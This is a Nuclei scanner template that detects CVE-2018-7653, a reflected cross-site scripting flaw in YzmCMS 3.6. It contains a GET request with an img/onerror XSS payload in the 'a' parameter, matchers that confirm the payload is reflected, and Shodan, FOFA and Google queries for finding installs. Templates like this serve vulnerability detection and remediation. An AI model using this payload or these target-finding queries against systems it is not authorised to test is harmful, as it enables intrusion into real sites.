id: CVE-2018-7653

info:
  name: YzmCMS v3.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users.
  remediation: |
    To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://packetstormsecurity.com/files/147065/YzmCMS-3.6-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7653
    - https://github.com/ponyma233/YzmCMS/blob/master/YzmCMS_3.6_bug.md
    - https://github.com/anquanquantao/iwantacve
    - https://github.com/5ecurity/CVE-List
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7653
    cwe-id: CWE-79
    epss-score: 0.01096
    epss-percentile: 0.78238
    cpe: cpe:2.3:a:yzmcms:yzmcms:3.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yzmcms
    product: yzmcms
    shodan-query:
      - title:"YzmCMS"
      - http.title:"yzmcms"
    fofa-query:
      - title="YzmCMS"
      - title="yzmcms"
    google-query: intitle:"yzmcms"
  tags: cve,cve2018,packetstorm,yzmcms,cms,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=a onerror=alert(document.domain)>'
          - 'YzmCMS'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022005dc3398b92bdee43d86691e3ffab16a27beef72723ac77d69f5806f9852c56b022100c514264c387aeab286fa6508bc52575a92f6bba78f8cf7b0e0e71302dd82364a:922c64590222798bb761d5b6d8e72950